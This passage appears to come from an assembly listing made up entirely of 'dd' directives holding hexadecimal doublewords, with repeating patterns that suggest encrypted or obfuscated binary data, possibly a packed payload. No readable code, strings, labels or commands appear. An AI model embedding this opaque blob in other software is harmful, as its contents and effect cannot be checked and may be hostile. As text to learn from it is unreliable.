57AD5EA7h, 37ACCED2h, 0A0AF1540h, 0AF860045h, 96EE130Bh dd 7CD3B044h, 57AD5EABh, 0A6ACCED2h, 373FB6CEh, 265E1E4h dd 42EE13EAh, 57AD5EA6h, 81ACCED2h, 0F5AA6713h, 824600BBh dd 0B2E1421h, 0D2BB9289h, 9F93B04Bh, 42B3B076h, 57AD5EA6h dd 9BACCED2h, 0B4AD6820h, 0E526003Fh, 83D3B083h, 37145184h dd 57AD5EA7h, 83ACCED2h, 0E41EC3E1h, 18060017h, 9F8E130Fh dd 3E1B91B7h, 57AD5EA6h, 9EACCED2h, 0E40C12F6h, 0F0E60017h dd 0B06E1367h, 334E1312h, 57AD5EA7h, 69ACCED2h, 61126835h dd 7DC600B8h, 0CEE1302h, 0ACE130Ch, 2033B084h, 0B1D3B04Bh dd 6F9B95EFh, 2C1B9182h, 7C9B91B1h, 57AD5EABh, 0BCACCED2h dd 0AFA7E131h, 0C2A6001Bh, 0EA8E1340h, 86CE2FD7h, 4813CF1Bh dd 0D86E13FFh, 686E1428h, 0F86E1340h, 8B8E1301h, 86D49286h dd 355B92DEh, 0C63B926Ah, 0C63451C0h, 9C145181h, 31B3B05Fh dd 6B745180h, 51B3B045h, 7393B045h, 0D054518Ah, 0DB74517Ch dd 0A4945185h, 0FB74518Eh, 0FE53B0AFh, 0EA14517Fh, 6FD3B07Fh dd 7253B0F4h, 6833B0F4h, 1073B0BDh, 7273B0F0h, 0DC93B0C2h dd 9EF3B058h, 5FF3B05Fh, 0C5D3B0F7h, 2D3B0ECh, 0D8F3B0BEh dd 4AD3B0F7h, 0D733B058h, 94518Eh, 1C33B05Fh, 6313B057h dd 0E1B4518Eh, 0D6F3B050h, 535B9295h, 0AFFB95EBh, 0E89B9269h dd 993B928Ch, 4B53B085h, 18FB928Ch, 592E2FE2h, 0E6E132Eh dd 0CCAE136Bh, 0D80E136Eh, 15CE136Eh, 0F63B9290h, 0D7B4517Fh dd 2F4517Ch, 5E3451C1h, 4B3451D9h, 8E9B928Ch, 5EDB9284h dd 9A3B9284h, 1A3B928Ch, 26DB957Fh, 6B13B061h, 35B45125h dd 0BB545186h, 0C2F451A2h, 0B69B9281h, 76FB9281h, 0EBD4519Fh dd 0EF54519Fh, 8C73B0BAh, 2774518Ah, 0FBDB95FCh, 8673B06Bh dd 0CA5B9269h, 181B928Fh, 0AF1B9289h, 473B95EFh, 0D11B9285h dd 40F3B010h, 57AD5EA6h, 0C2ACCED2h, 0D3B293C9h, 7F860017h dd 7CD3CF4Dh, 57AD5EABh, 0AACCED2h, 0A531130Bh, 2D66001Bh dd 3A33CF4Dh, 57AD5EA7h, 6EACCED2h, 0EEEA24C8h, 5E460017h dd 4173CF3Ch, 57AD5EA6h, 19ACCED2h, 1B36E8F4h, 26007Ah dd 0A3F3CF40h, 396E1359h, 57AD5EA7h, 0DCACCED2h, 0B025E5E4h dd 1806001Bh, 6AE2FD1h, 0AC6E134Ah, 115B9539h, 0BD3B0B5h dd 0CCD3B0B5h, 52D3CF4Eh, 8213CFAFh, 473CF6Ch, 0FF93CB23h dd 5573B065h, 6073B0B4h, 403B9365h, 57AD5EA6h, 72ACCED2h dd 0A878C1C7h, 66E6001Bh, 0CEAE133Ch, 0BE74932Ah, 0D2E1333h dd 0E4E2FD6h, 28F3B0F9h, 5EDB9286h, 0D1BB9292h, 813B915Ah dd 7CD3CF4Dh, 57AD5EABh, 54ACCED2h, 0A5638C46h, 0B1C6001Bh dd 0DCE2FDBh, 116E2FD8h, 59349327h, 813492C0h, 6693B077h dd 63B3B082h, 41B3B016h, 0A3B3B045h, 0DD53B082h, 8EB3B0B0h dd 3393CF75h, 57AD5EA7h, 0D1ACCED2h, 3D79CB4Dh, 2BA60016h dd 410E2FD4h, 57AD5EA6h, 38ACCED2h, 12F14D44h, 0DF8600BCh dd 2DCE13FCh, 267492F7h, 325B9142h, 0E453B0FBh, 911451A2h dd 0FE3B92C3h, 86F45183h, 6073B044h, 3713D093h, 57AD5EA7h dd 74ACCED2h, 3EC994BFh, 0F2660016h, 42EE133Dh, 57AD5EA6h dd 0C3ACCED2h, 0C337628Eh, 0BF46003Fh, 0F9AE130Eh, 5FD3B081h dd 26F3B046h, 789B9293h, 5EFB9295h, 42FB91BAh, 57AD5EA6h dd 34ACCED2h, 0EEA604A2h, 19260017h, 0DCEE142Ch, 3453B063h dd 36DB9286h, 57AD5EA7h, 0E2ACCED2h, 11DD9E25h, 0A90600BCh dd 0A86E133Eh, 0EF4E1428h, 0B85B9281h, 335B9189h, 57AD5EA7h dd 9FACCED2h, 4F2C2B9h, 41E600BCh, 57AD5EA6h, 8FACCED2h dd 8AAF06E2h, 0E6C600B8h, 385B928Ch, 36DB92BFh, 57AD5EA7h dd 7DACCED2h, 8AC6F7E1h, 0CA600B8h, 0A9DB95EBh, 403B92C3h dd 57AD5EA6h, 30ACCED2h, 0CC6BB677h, 4086003Fh, 0DA1B95FAh dd 0BF3B0F3h, 7CD3B05Bh, 57AD5EABh, 74ACCED2h, 8B03E159h dd 0E26600B8h, 0D573B0F3h, 243B95F8h, 42BB95FCh, 57AD5EA6h dd 26ACCED2h, 0CCA10608h, 3246003Fh, 64D3B0FBh, 42B3B078h dd 57AD5EA6h, 7BACCED2h, 0D06586D8h, 0B926003Fh, 0B35B92DDh dd 2993B0FBh, 205B957Fh, 7C9B95FCh, 57AD5EABh, 58ACCED2h dd 0B9D9CA63h, 5406003Fh, 42FB91B8h, 57AD5EA6h, 85ACCED2h dd 0C34E059Eh, 57E6003Fh, 9073B0F1h, 9ADB92C0h, 42B3B0EEh dd 57AD5EA6h, 0EEACCED2h, 0CE115B2Ah, 0C6003Fh, 40F45180h dd 57AD5EA6h, 3DACCED2h, 204D6211h, 41A6003Fh, 3393B0F3h dd 57AD5EA7h, 17ACCED2h, 0C359E61Fh, 0E486003Fh, 40F3B0F1h dd 57AD5EA6h, 8EACCED2h, 48E3FEB3h, 3866003Eh, 85CE2FD8h dd 0B3DB95EDh, 4C9B92DDh, 40F451A2h, 57AD5EA6h, 0C9ACCED2h dd 0C39C595Eh, 9346003Fh, 0CC0E2FD4h, 36DB92DDh, 57AD5EA7h dd 53ACCED2h, 60F9BFDCh, 1C2600B8h, 0BCFB9524h, 403B915Ah dd 57AD5EA6h, 76ACCED2h, 0CE402701h, 9406003Fh, 5FB3B023h dd 42B3B041h, 57AD5EA6h, 95ACCED2h, 0F0C7B9F8h, 41E60017h dd 57AD5EA6h, 8FACCED2h, 3318CA79h, 0A1C6003Fh, 0C253B023h dd 459B957Fh, 9DF3B029h, 307B9182h, 0CCD3B06Ch, 0A7D3B045h dd 77D3B0E9h, 0C1DB9281h, 0A29B9157h, 521B95F8h, 36DB9154h dd 57AD5EA7h, 9AACCED2h, 0EE5AA300h, 0BA60017h, 947B95CAh dd 91F3B046h, 3F13B07Dh, 773B9180h, 7AF3B0ADh, 0D2DB95E5h dd 0B7BB95F2h, 553B9157h, 9DB929Dh, 3D53CF7Bh, 57AD5EA6h dd 2CACCED2h, 0EC289B4Fh, 11860017h, 5DF3B06Dh, 42B3B046h dd 57AD5EA6h, 80ACCED2h dd 0E4D80778h, 0B2660017h, 0FD53B0B1h, 42BB95C9h, 57AD5EA6h dd 0B6ACCED2h, 0F27D9A35h, 66460017h, 397B9180h, 57AD5EA7h dd 0A4ACCED2h, 0B3A7BF37h, 5726003Fh, 0D9B9296h, 3D53B016h dd 57AD5EA6h, 0D8ACCED2h, 0D7B1CAEEh, 430600B8h, 42BB951Ch dd 57AD5EA6h, 96ACCED2h, 49589F50h, 7CE60001h, 3713B04Ah dd 57AD5EA7h, 37ACCED2h, 2A26BF09h, 39C6007Ah, 3A33B04Bh dd 57AD5EA7h, 83ACCED2h, 4788565Eh, 97A6003Eh, 3D53B083h dd 57AD5EA6h, 4FACCED2h, 31427E4Bh, 0D986007Ah, 42B3B083h dd 57AD5EA6h, 74ACCED2h, 26444E4Ah, 4B66007Ah, 7C9B95EFh dd 57AD5EABh, 5CACCED2h, 2AD7D632h, 0FF46007Ah, 42BB9141h dd 57AD5EA6h, 97ACCED2h, 2FC7FC92h, 0FF26003Fh, 397B9141h dd 57AD5EA7h, 0A1ACCED2h, 26F8103Eh, 4B06003Fh, 7CD3B045h dd 57AD5EABh, 0EAACCED2h, 2AB67349h, 0E6E6007Ah, 1145196h dd 5273CFB6h, 1F53D0A4h, 0C2BB935Ch, 0A39B9358h, 42B3B06Dh dd 57AD5EA6h, 0DAACCED2h, 207026C0h, 9FC6003Fh, 3D53B0B1h dd 57AD5EA6h, 0DBACCED2h, 3161E7C2h, 68A6007Ah, 335B928Dh dd 57AD5EA7h, 7CACCED2h, 209B46F5h, 6C86003Fh, 397B929Ah dd 57AD5EA7h, 0CFACCED2h, 23FDA1C3h, 0F366007Ah, 7CD3B06Bh dd 57AD5EABh, 55ACCED2h, 0B246362Dh, 1746001Bh, 403B9524h dd 57AD5EA6h, 0B1ACCED2h, 0A573D45Bh, 6E26001Bh, 66FB917Dh dd 0F11451A8h, 121B95E5h, 42BB9287h, 57AD5EA6h, 7BACCED2h dd 20D1BA1Ch, 8306003Fh, 3F33B0EDh, 7C73850Ch, 57AD5EABh dd 0ACCED2h, 0CB37070Ah, 0DCE6003Fh, 0CBDB928Dh, 4173CF62h dd 57AD5EA6h, 23ACCED2h, 0D7C638F9h, 0AC60017h, 42FB9151h dd 57AD5EA6h, 0A4ACCED2h, 1DE41E21h, 9A6003Fh, 0C9FB9297h dd 3A33D093h, 57AD5EA7h, 28ACCED2h, 1DDE184Fh, 0C386003Fh dd 36DB9157h, 57AD5EA7h, 0A8ACCED2h, 1DE52C75h, 7C66003Fh dd 7C9B9157h, 57AD5EABh, 0BAACCED2h, 0DFFC4442h, 2E460017h dd 397B91B1h, 57AD5EA7h, 0B2ACCED2h, 1DAE44FBh, 0B626003Fh dd 42FB95F2h, 57AD5EA6h, 4ACCED2h, 48D81C3Ch, 1306003Eh dd 335B95EFh, 57AD5EA7h, 0B5ACCED2h, 0FCFED773h, 3EE6003Eh dd 637B928Bh, 869B928Bh, 397B9288h, 57AD5EA7h, 63ACCED2h dd 0CAE839ECh, 5BC60045h, 0FFB929Dh, 1F7B9154h, 7C9B928Ch dd 57AD5EABh, 89ACCED2h, 5585B92Ch, 0AEA60045h, 40F3CF82h dd 57AD5EA6h, 38ACCED2h, 59846B2Ch, 36ACCEC9h, 0EBF3CF48h dd 26F3CF44h, 0EBF45C87h, 29909244h, 0BDEFC6D1h, 0EB3B9293h dd 10h dup(0EBF3CF44h), 735BCF44h, 832FDF74h, 0C44C04C5h dd 37E5EE2Ah, 90DDA21Dh, 0D3F3CF17h, 0D64ADB2Ch, 0D65EB07Bh dd 0BB59CF1Ah, 0D64B3842h, 3 dup(0EBF3CF44h), 3E10CF44h dd 0EBF3CF47h, 3 dup(0EBF3CF44h), 26F3CF44h, 0D6D696F0h dd 111523E4h, 463B9073h, 2EEDA81h, 6B154805h, 463AB121h dd 2EF1A81h, 0B5154805h, 463B90AEh, 2EEE681h, 15154805h dd 46F437C0h, 2EA8E81h, 6E154805h, 46F43C26h, 0FFB08281h dd 20154804h, 46F43997h, 0FFCAF681h, 5E154804h, 46F439DDh dd 0FFDC2A81h, 0E8154804h, 46F438F6h, 0FFDC9E81h, 75154804h dd 46F43B6Eh, 0FFCAFA81h, 0F1154804h, 46F43990h, 0FFDC5281h dd 0DA154804h, 46F43990h, 0FFCB8681h, 75154804h, 46F43B6Eh dd 0FFCAFA81h, 43154804h, 46F43B49h, 0FFCB8A81h, 7C154804h dd 46F43603h, 0FF567E81h, 0E1154804h, 463B905Dh, 0FFCAB281h dd 88154804h, 46F4371Eh, 0FFFDEE81h, 61154804h, 46F43B6Ah dd 0FF566281h, 86154804h, 463AB1ABh, 0FFCB5681h, 54CF3604h dd 463BA348h, 0C9A1B781h, 7CCF3612h, 463BA3BDh, 0C6ECFB81h dd 0CCFFC12h, 3681CE0Ah, 0F9F3CF48h, 925A4463h, 0F785BFF0h dd 0DFB338FBh, 0E93E3776h, 459A7883h, 0BFC08079h, 0B4258061h dd 0EBF3CF5Eh, 0E6D13061h, 4DF43991h, 0FFB09F94h, 64819304h dd 8FF43BFDh, 20C2619Ah, 0D689A926h, 42B1E1F5h, 0C6ED84B0h dd 0E637D312h, 41DD074Eh, 0AFACCF47h, 0E93E377Bh, 0F0541024h dd 0BDB0BFF3h, 0E99403BFh, 4F3CF11h, 3DC347BFh, 0AFACCF47h dd 0E93E377Bh, 0F0541024h, 0BDB0BFF3h, 0BCAD03BFh, 33A25A65h dd 0FFB08229h, 2DA2D804h, 0A22D45BBh, 0EB951F29h, 20C77F44h dd 0AFBF997Ah, 0E93E3777h, 0D5970EC6h, 0B5F4519Ch, 37CA80BEh dd 39984E6Bh, 0C9A710B1h, 5D97D912h, 40953729h, 62A01547h dd 3DFF300Bh, 0C9A710B0h, 37DC0312h, 3BCF800Bh, 0E93E3743h dd 89C9AD41h, 0EFB7E64Ah, 723756Eh, 0EB2E1480h, 61F3B74Bh dd 65BDCB23h, 0B7D7E1BFh, 5AE2F079h, 0B555F3F9h, 9EAAA1Eh dd 29970E0Ch, 642E130Dh, 4090A3A1h, 8C488947h, 63566DC1h dd 3622D607h, 0EBF492CEh, 0D35E76FEh, 0B1C528D5h, 0EB43156Dh dd 5F553D52h, 0DF5300Bh, 0BF210001h, 5AE2F079h, 0B555F3F9h dd 0F9E3AA1Eh, 4D10A6CDh, 12A7A48Fh, 86285188h, 95FE5432h dd 0AAA5AA0Ah, 0EB5DFD1Eh, 0A7DA7F44h, 0D586E51Eh, 0A9AEB744h dd 0B1F8CF44h, 0EBF3DED9h, 9057F734h, 9B583E34h, 0EBF4394Dh dd 0DFAFAA6Eh, 3DD67390h, 0B3F3CF17h, 0EB3B9520h, 41D6756Eh dd 1B2E132Ch, 0F19E8552h, 55318692h, 0B3F3CB23h, 0EBF45BAFh dd 0D35E76FEh, 0FC9ACDD5h, 0A9CA7B07h, 0C02DCF44h, 0FEB613BAh dd 3526CE4Bh, 6D03CF48h, 5FC70E6Dh, 40F3CB23h, 0C6ED84B0h dd 7C654812h, 0D4F43B3Ah, 53F87374h, 43FF3A59h, 14F43998h dd 0EB94A750h, 4F3F7F44h, 0E9D69AFEh, 0B4AD5D3Fh, 0EBF3DE1Fh dd 5A198A34h, 0F9DF0E3Ch, 40860308h, 3DBCA3E2h, 5176C5A6h dd 0A4984E45h, 3DACB0BDh, 0D9F8B437h, 0F19E838Eh, 3EC51F1Eh dd 0EBF3C4E2h, 0CF388944h, 0B1434CDDh, 0B38FB974h, 3E10DB17h dd 0EBF3C74Fh, 78A77F44h, 3E039917h, 2EF1AE0h, 75819305h dd 3EF43B3Ah, 0B4D9E7D0h, 0E9906FB6h, 0AFDAB71Bh, 675BCF44h dd 1BF451A4h, 9531842Dh, 0B4AD5E26h, 3E11399Fh, 0DBF8FB37h dd 2EF1818h, 75819305h, 0EBF43B3Ah, 0B4B12D19h, 0E9906FB6h dd 2103B71Bh, 0D350CF4Bh, 0EBF3CF1Ah, 578D74A7h, 6CB0A48Fh dd 0E9F54410h, 0C92BC6F1h, 5478AA07h, 0DCD6721Bh, 0F92E1337h dd 0A140E109h, 43AB5A38h, 0AFBEAA4Ah, 0E93E3777h, 3AA2D20Fh dd 7997DCCCh, 95F8C934h, 0D64B4003h, 355EFA44h, 0F92E138Ah dd 14866BA8h, 1F8AEBBCh, 51039911h, 0C9A731A4h, 0A06A9312h dd 0D9CC0F89h, 1197DD1Dh, 0F7577BEAh, 0F5BE5D14h, 0E45104D9h dd 5FE7311Eh, 0EB94D3AAh, 0AFACCF44h, 0E93E377Bh, 0AE01F824h dd 0C5B1A3ACh, 52C24BB4h, 402E1330h, 0C6ED84B0h, 7C374E12h dd 0A9CBE4A7h, 0C9A710ADh, 82FBD12h, 4063C213h, 374E5EA6h dd 92600318h, 0C5C2B84Eh, 0EBF45C12h, 93FC368Ah, 7E9F1513h dd 8D2ACF1Ch, 33D2E610h, 0F9F3CF48h, 40424463h, 0CE7CBFC2h dd 0C9BB46B2h, 0EBF438E8h, 334E16F7h, 430BCF48h, 40F3CF47h dd 0C6ED89E5h, 0E185D312h, 0E93E33DBh, 0CFB2FFE6h, 0E93DDB2Ah dd 4D11401Ah, 83DDA48Fh, 0A9EE5AEFh, 0EB2E1359h, 5789127Bh dd 0E395A48Fh, 2EEE4F4h, 45D04E05h, 0B8C531FAh, 0EB2E137Bh dd 58B8BA7Bh, 0CFB0A48Fh, 0E9F54408h, 81CC6B0Eh, 0EBF45CFEh dd 577521A7h, 41E6A48Fh, 0BB5B95A8h, 4066A84Dh, 0E1BBCF47h dd 9473C0E5h, 2CB67E9Ah, 0EBF4932Bh, 0EFBAFF2Ch, 0EBF3B0ADh dd 0EFE4A72Ch, 0EB2E1370h, 0EFE4A72Ch, 0EB2E133Dh, 0E4A72Ch dd 3E10DC47h, 0AF3913F4h, 58235CB2h, 1D5F8A04h, 8BF3CF4Bh dd 83E8988Eh, 0F797E4Ah, 0E18368F0h, 0D041F45Ah, 0E7010347h dd 41D05BEDh, 0EBF3CF47h, 0EBF3CF44h, 2A37B444h, 0EBF75AEDh dd 0DFBDCF44h, 23344h, 2A484805h, 9CF438F2h, 0BBD63AB5h dd 84F3CF4Bh, 2B45FDE3h, 0CCC1519Ch, 0C94E4C77h, 71029312h dd 2F4F9589h, 13115953h, 0F5C54B43h, 335D701Eh, 0F9F3CF48h dd 0A2224463h, 0CFB0BFF7h, 0E93DE726h, 2CBF5CE6h, 0EBF45C79h dd 8B514BABh, 4B42CE6Ah, 59131CEBh, 2BF6A48Fh, 0D64B3B29h dd 80F95A44h, 8CD9DD65h, 0E93E370Dh, 3E5E87A8h, 367B5C2Ch dd 3E94B796h, 92F75C2Ch, 5FC76A91h, 0A1D3507Bh, 59131D88h dd 20ADA48Fh, 76F3CF4Bh, 0EBF45C49h, 215199ABh, 8FEB9C87h dd 574D1F2Dh, 852A48Fh, 1CB2E5ADh, 0E93E5633h, 0FC2B9491h dd 0EBF3CF4Ch, 0F9D089A4h, 8D0B871Fh, 8D1C8FACh, 0EBF49260h dd 0BDD36184h, 0E67CB99Fh, 93AA75Bh, 545A6338h, 8BF3CB23h dd 0D1A24C8Eh, 0C149F45Ah, 0A849F45Ah, 0AB2E1376h, 4291AA73h dd 5B652349h, 28F3ED81h, 4C05CF63h, 78B2FB09h, 0CEB69D44h dd 0FC292A22h, 0E5FEF226h, 0EBF3CF4Bh, 3E2D75E3h, 5B53A242h dd 0E8E7CA75h, 0AFACC2E6h, 0BBA71687h, 5ECB979Dh, 505EC21Fh dd 52FFB9A4h, 0B6343630h, 0FA68F349h, 239D59C4h, 0A3F8B4B4h dd 5826973Bh, 9CF2B2Eh, 40826E03h, 29F2FE7Ch, 0F679BCFFh dd 2 dup(0F37F1044h), 78632F44h, 0F679BC3Bh, 0F37F1044h dd 78632F44h, 0F679BC3Bh, 0F37F1044h, 78632F44h, 0F679BC3Bh dd 4 dup(0F37F1044h), 78632F44h, 0D1675C3Bh, 24E9C8A9h dd 0A622C0D0h, 0C44F1F94h, 24E9CDF7h, 0A42EC0D0h, 0C44F1F94h dd 2500A72Eh, 0A09AC0D0h, 0C44F1F94h, 24E9C9B6h, 0A9F2C0D0h dd 0C44F1EF3h, 2500A765h, 0B1BEC0D0h, 0C44F1F94h, 24E9C8EAh dd 25D6C0D0h, 0C44F1F9Dh, 250196E6h, 0A782C0D0h, 0C44F1F94h dd 2501966Fh, 0A6FAC0D0h, 0C44F1F94h, 24E9CA78h, 0A926C0D0h dd 0C44F1F94h, 24E9C791h, 0C7D2C0D0h, 0C44F1F94h, 24E9E7FAh dd 0A71EC0D0h, 0C44F1F94h, 25019F73h, 0A60AC0D0h, 0B98B1F94h dd 0F505856Ah, 186BFB1Dh, 6019A78Bh, 0F37F1045h, 81293D6Eh dd 2D511D2Ah, 0F67A9808h, 8E941044h, 0EA1AE310h, 57F39DBCh dd 0F37F104Ch, 0D03626C1h, 78634AFDh, 46678F3Bh, 1442CA90h dd 5F22F999h, 0BEDAE20Dh, 1A3120F0h, 0E4A2F2Ah, 678D9812h dd 9459811h, 0C91E1046h, 25705A1h, 0E7D578A9h, 32BB18FEh dd 0F67A9808h, 92D1044h, 0F505854Ah, 87D01723h, 67809C51h dd 25012FB2h, 0AB5AC566h, 0BE25778Ah, 5511EABh, 0B6A48850h dd 0D18576EBh, 93164E09h, 573D9769h, 6273723h, 0BE257788h dd 5511EABh, 55E28850h, 0D18576F6h, 93164E09h, 653D9769h dd 78847670h, 6CCA013Ch, 6D6577AEh, 9DAB4E6h, 186BFBDCh dd 6019A78Bh, 0F37F1045h, 0C1293D6Eh, 51511D1Ch, 76979881h dd 6D36373Ch, 0F37F1051h, 5CDBBCC2h, 675B4B44h, 0F263CC78h dd 212AEE72h, 0F23BD9F4h, 0BDF62AC0h, 5511EABh, 2A726950h dd 40AA9F59h, 3903E0ECh, 5EA71CFCh, 7B6B192Bh, 0C42700FDh dd 0C4058579h, 7F9F23BFh, 0DB585C2Ch, 597F104Eh, 301B9565h dd 8D85010Ah, 3CFE3B10h, 0DB79CF7Fh, 657F104Eh, 3F4CBE06h dd 0B6807BD3h, 0EFAAB097h, 213651EAh, 0F23BD9F4h, 0BDF62AC0h dd 5511EABh, 2A726950h, 0B0AA9F59h, 3903E0CFh, 5EA71CFCh dd 7B6B192Bh, 0C42700FDh, 0C4058579h, 7F9F23BFh, 8D855C2Ch dd 3CFE3B10h, 0DB79CF7Fh, 9F7F104Eh, 0E852FEDDh, 411C8D96h dd 8C8A8FDFh, 0F67A9947h, 4862F3C4h, 0F5181ECAh, 861B144h dd 5A88104Fh, 7416E1CFh, 0F37F103Ch, 9F824AC4h, 0BBDB8CB4h dd 660CE95Fh, 10BB187Ah, 678CBD9Ah, 9459811h, 0C91E10EAh dd 25705A1h, 0E7D578A9h, 32BB18FEh, 0F67A9808h, 0F6531044h dd 0AD722415h, 0E56C369Dh, 80E59330h, 737F10B8h, 5853730Bh dd 0F37F319Ch, 0F5058129h, 811D2744h, 0D99705F2h, 927F10B8h dd 2FB24A76h, 40969B6Ch, 5EA71C56h, 7B6B192Bh, 0C42700FDh dd 0C4058579h, 7F9F23BFh, 8D855C2Ch, 3CFE3B10h, 0DB79CF7Fh dd 9F7F104Eh, 0F8A2932Ch, 4AB90B7h, 0D368E6BFh, 93164E3Ah dd 653D9769h, 684E7618h, 25012FB2h, 0D784C566h, 5EA71C5Ah dd 7B6B192Bh, 0C42700FDh, 0C4058579h, 7F9F23BFh, 8D855C2Ch dd 3CFE3B10h, 0DB79CF7Fh, 4B7F104Eh, 0F37F10B7h, 73A4BE5Fh dd 0ACF30E55h, 0BE25778Ah, 5511EABh, 6FE58050h, 0B5C6B2B3h dd 7D66DB3Fh, 0B9F8444h, 788764E9h, 6CCA013Ch, 6D6577AEh dd 9DAB4E6h, 186BFBDCh, 0C919A78Bh, 76979886h, 6D36373Ch dd 0F37F1051h, 712FD488h, 7D628692h, 0AAA6933Bh, 67809723h dd 25012FB2h, 35A8C566h, 87882304h, 6568E602h, 0C0854C54h dd 1E941533h, 0E347FD60h, 47893DB8h, 0BC7F4086h, 4ACDF0BCh dd 0B69B4D8Dh, 0F679BC33h, 4976AC44h, 16148290h, 0A0B9F399h dd 0D368DAE4h, 93164ECAh, 0DD2F9769h, 43A550DCh, 0AF37D73Ch dd 59E1FB4Fh, 0B074A02Ch, 525C7BB4h, 1206F3BCh, 4B2DE805h dd 30AC5BFDh, 7BE1FBACh, 3FA37BA2h, 0B829F361h, 8834A142h dd 6F995EF6h, 84F9FA87h, 93406891h, 7548022Fh, 0BA173229h dd 3298D1DAh, 0A77DFF76h, 0C491FC7Eh, 0CFDE3A8h, 0D1C684Dh dd 0C88606EBh, 0D69C3F99h, 86271EB5h, 24A2B22Ah, 4EA5F37Ch dd 28025DC9h, 4E4C5A23h, 4E2801CCh, 0A5D61BD4h, 0A71D7A50h dd 0C19CD28Ch, 0B5B2E469h, 0B63C5A1Bh, 52C297C3h, 6194DEEEh dd 12038A1Fh, 0BF6E7B24h, 0B64F1A69h, 3CA5F374h, 2DF09647h dd 809BD22Ch, 6E18119Ch, 976AFA40h, 0B8D62227h, 934068A8h dd 7548022Fh, 0F1ED3229h, 0BEA9D12Ah, 0B5B2E469h, 0B63C5A1Bh dd 52C297C3h, 6194DEEEh, 0A9038A1Fh, 3CA5F360h, 9250205Bh dd 7627FF98h, 3FA37BA2h, 0D76CF361h, 86271EB5h, 1E2B4489h dd 3DBA1CE2h, 34465F61h, 3DECB4E2h, 0BC975F61h, 3C555BE1h dd 0BD6C5F61h, 3CFB86E1h, 0CADF5F61h, 3CA4E4C7h, 36075F61h dd 3DBA17C8h, 892F0461h, 6298F375h, 3220127Ch, 0EF08688Eh dd 0BF840231h, 68675CDFh, 0B7567C99h, 8AFC7BB4h, 24A354B4h dd 633A2FCFh, 49A3B878h, 8227FF9Ch, 29EB6CC1h, 754802C9h dd 2CFDE346h, 3FA355C0h, 93E1AC4Ah, 28387BD6h, 6E188257h dd 1A9F0C94h, 4E27FF47h, 0B65472D4h, 3E01B4A3h, 86201261h dd 30A5AC42h, 1BFBC0ADh, 28605E36h, 6E12D02Ch, 45BFFA40h dd 3E19404Ah, 0B1DAF361h, 525C7BB4h, 486FF3BCh, 0D3A5F2BEh dd 3CA5F2F2h, 8B9F08D2h, 44A5F375h, 3CA5F30Eh, 21172090h dd 9A280105h, 4850E3B5h, 0E3DA73E2h, 3F9A6FC7h, 0B55EF361h dd 0C66BA598h, 99D67842h, 47A39F34h, 3FA356B9h, 0A29CCA59h dd 57089037h, 93ED6ACEh, 51A1FE11h, 8D8562ADh, 77FC58AAh dd 3E18AA00h, 0E09BE6A2h, 35A5F378h, 0C4FE56C7h, 3CA5F3AEh dd 3E00E409h, 0CE3E3A61h, 99DC8E52h, 0BD5BF2B8h, 9A9EA46Bh dd 49F3E43Eh, 0DC05F361h, 0A22DF7A9h, 3CA5F379h, 0DAA56147h dd 5BE4B3ABh, 4F291D82h, 7411F542h, 2891C779h, 54249D47h dd 0C157F37Bh, 3A7C4AE5h, 472AE548h, 0E4B31213h, 3609EBAEh dd 3DFF610Ch, 3D0A9B61h, 0EEEF361h, 4726363Ah, 41CC3196h dd 0E8509AC8h, 48F5BF1Bh, 253F03C9h, 65D0D94Ch, 35A5F36Bh dd 3CA4E495h, 0A5FEFC61h, 7028AF53h, 981A7E79h dd 2D8B079Eh, 8E4D142Dh, 0FC43D31Fh, 6CDE8575h, 1F0552D5h dd 3DF0074Ah, 10DDF361h, 4412E6Bh, 66DFBDE0h, 73F47A63h dd 0C0749E65h, 44FDDEF0h, 3CA5F385h, 926FCE6Eh, 48EC0A77h dd 0CDF66300h, 181FE8C2h, 0BF7393C8h, 346B5555h, 0B6A5F30Eh dd 49770FE9h, 38D76AC6h, 0C7C2FEACh, 0BABE2102h, 24A4D387h dd 0FCFA76Dh, 0A092DC88h, 9098F3BFh, 0C09D50A6h, 3D16408Eh dd 14ADF361h, 0DE26906Ah, 518428F6h, 1163CE16h, 52C1E9D9h dd 55673174h, 0C9828B52h, 517F3110h, 0AA904B1Fh, 0B4BA7468h dd 0AB5656C6h, 89424665h, 4CE3FB9Fh, 90E942C8h, 0AA7F3200h dd 181A02CBh, 0B86DBC9Ch, 0C1A400C0h, 0AE0E6FE9h, 3D21DF50h dd 0CDF0CE51h, 1D1313B7h, 25A6EB25h, 0E31E1B89h, 0F63E01C6h dd 1D1677B5h, 89D5517Dh, 26C1E4A4h, 0F554A61Ah, 2CC8323Ah dd 237F3200h, 0B3F0BEF7h, 4F208A2Ah, 0AFD54C1Dh, 94C9DA64h dd 5BE38C4Ah, 86E32C08h, 0C25A639Fh, 51803378h, 7FDD7B1Dh dd 0ED012C09h, 0B6F55350h, 99AAE3F5h, 6C819ED2h, 739FF078h dd 5184257Fh, 0B40C4ABEh, 0D16FE995h, 5180323Bh, 0C0628597h dd 0CFB9280Bh, 0F5625996h, 1F200F13h, 0A68454ECh, 0A62D1DA3h dd 0AAAAB32Bh, 0BA9315D2h, 64F414FDh, 0B6BC204Eh, 0B9815B28h dd 8390F6C7h, 14DBB181h, 30496CE5h, 0C209D92Bh, 72DCBB72h dd 0D9EBF882h, 0E5E221B2h, 99ACB9DBh, 0DAECD4E9h, 78A880A6h dd 61E3244Ch, 107804FEh, 844CB1E0h, 0A31B78FAh, 0C078C679h dd 0ED33E55Fh, 0FB8AFFFCh, 2FF0E8B2h, 0CBB17BEEh, 0CF8C38F9h dd 8BB2DC63h, 14ED4170h, 542064B5h, 86AECC7Bh, 6B4F218h dd 0AD9EC7E0h, 0C3591F73h, 0CC0D5618h, 0C8D228F3h, 421ADDE3h dd 132A3B53h, 0AD8A0529h, 0E1ECE026h, 0EDAF7155h, 4D52DC62h dd 0F9F39012h, 55A38341h, 1C25D0F6h, 529B8B3Dh, 5064C461h dd 0E0974F4Ah, 9AFFE7C8h, 0CE84379Ah, 5EDC1C8Fh, 37FCC94Bh dd 0D5B45F11h, 85F8EFFFh, 1FD381BDh, 5354AA2Eh, 0B6FF77BDh dd 40B1881Fh, 38D56FDh, 4E965023h, 3CB3496Eh, 1A1BB0E9h dd 4A3163FFh, 0EA2038DAh, 67AB241Eh, 0DFD596D1h, 29482267h dd 240B98DDh, 0D365DCA0h, 90EB49Ch, 0FAF0E480h, 0B71D0F52h dd 0D3600F0Fh, 9BF4E17Bh, 3F9F88Fh, 20799A61h, 0D223FBAAh dd 49B10018h, 76862667h, 0B9AD35EFh, 77D4D6C7h, 0B6D6E31Fh dd 207C3AB1h, 0A0779DE1h, 71835A5Ah, 350CDF3Ah, 